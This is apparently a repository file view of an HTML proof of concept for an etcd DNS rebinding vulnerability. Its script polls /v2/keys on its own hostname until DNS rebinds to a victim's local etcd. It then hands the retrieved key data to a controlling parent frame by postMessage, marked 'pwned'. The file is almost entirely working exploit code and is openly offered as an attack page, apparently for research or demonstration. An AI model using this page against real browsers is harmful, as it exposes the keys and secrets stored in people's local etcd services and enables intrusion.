-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathattack_etcd.html
67 lines (57 loc) · 1.53 KB
/
attack_etcd.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<html>
<head>
<script>
var timer;
var frame;
var xhr;
var interval = 60000;
function sendRpc()
{
xhr = new XMLHttpRequest();
xhr.open("GET", "/v2/keys", false);
try {
xhr.send();
} catch(e) {
console.log("failed to send xhr");
console.log(e);
}
if (xhr.status == 404) {
console.log("frame", window.location.hostname, "has not updated dns yet, waiting", interval, "milliseconds");
return;
}
console.log("attack frame", window.location.hostname, "received xhr response", xhr.status);
if (xhr.status == 200) {
clearInterval(timer);
window.parent.postMessage({status: "pwned", response: xhr.responseText}, "*");
}
}
function begin()
{
// Notify the parent that we're loaded.
window.parent.postMessage({status: "start"}, "*");
}
window.addEventListener("message", function (e) {
console.log("attack frame", window.location.hostname, "received message", e.data.cmd);
switch (e.data.cmd) {
case "interval":
interval = parseInt(e.data.param) * 1000;
break;
case "stop":
clearInterval(timer);
break;
case "start":
timer = setInterval(sendRpc, interval);
console.log("frame", window.location.hostname, "waiting", interval, "milliseconds for dns update");
break;
}
});
</script>
</head>
<body onload="begin()">
<p>
<h3>etcd DNS Rebinding Vulnerability</h3>
</p>
<p>
This page is waiting for a dns update, and will then contact etcd.
</p>
</body>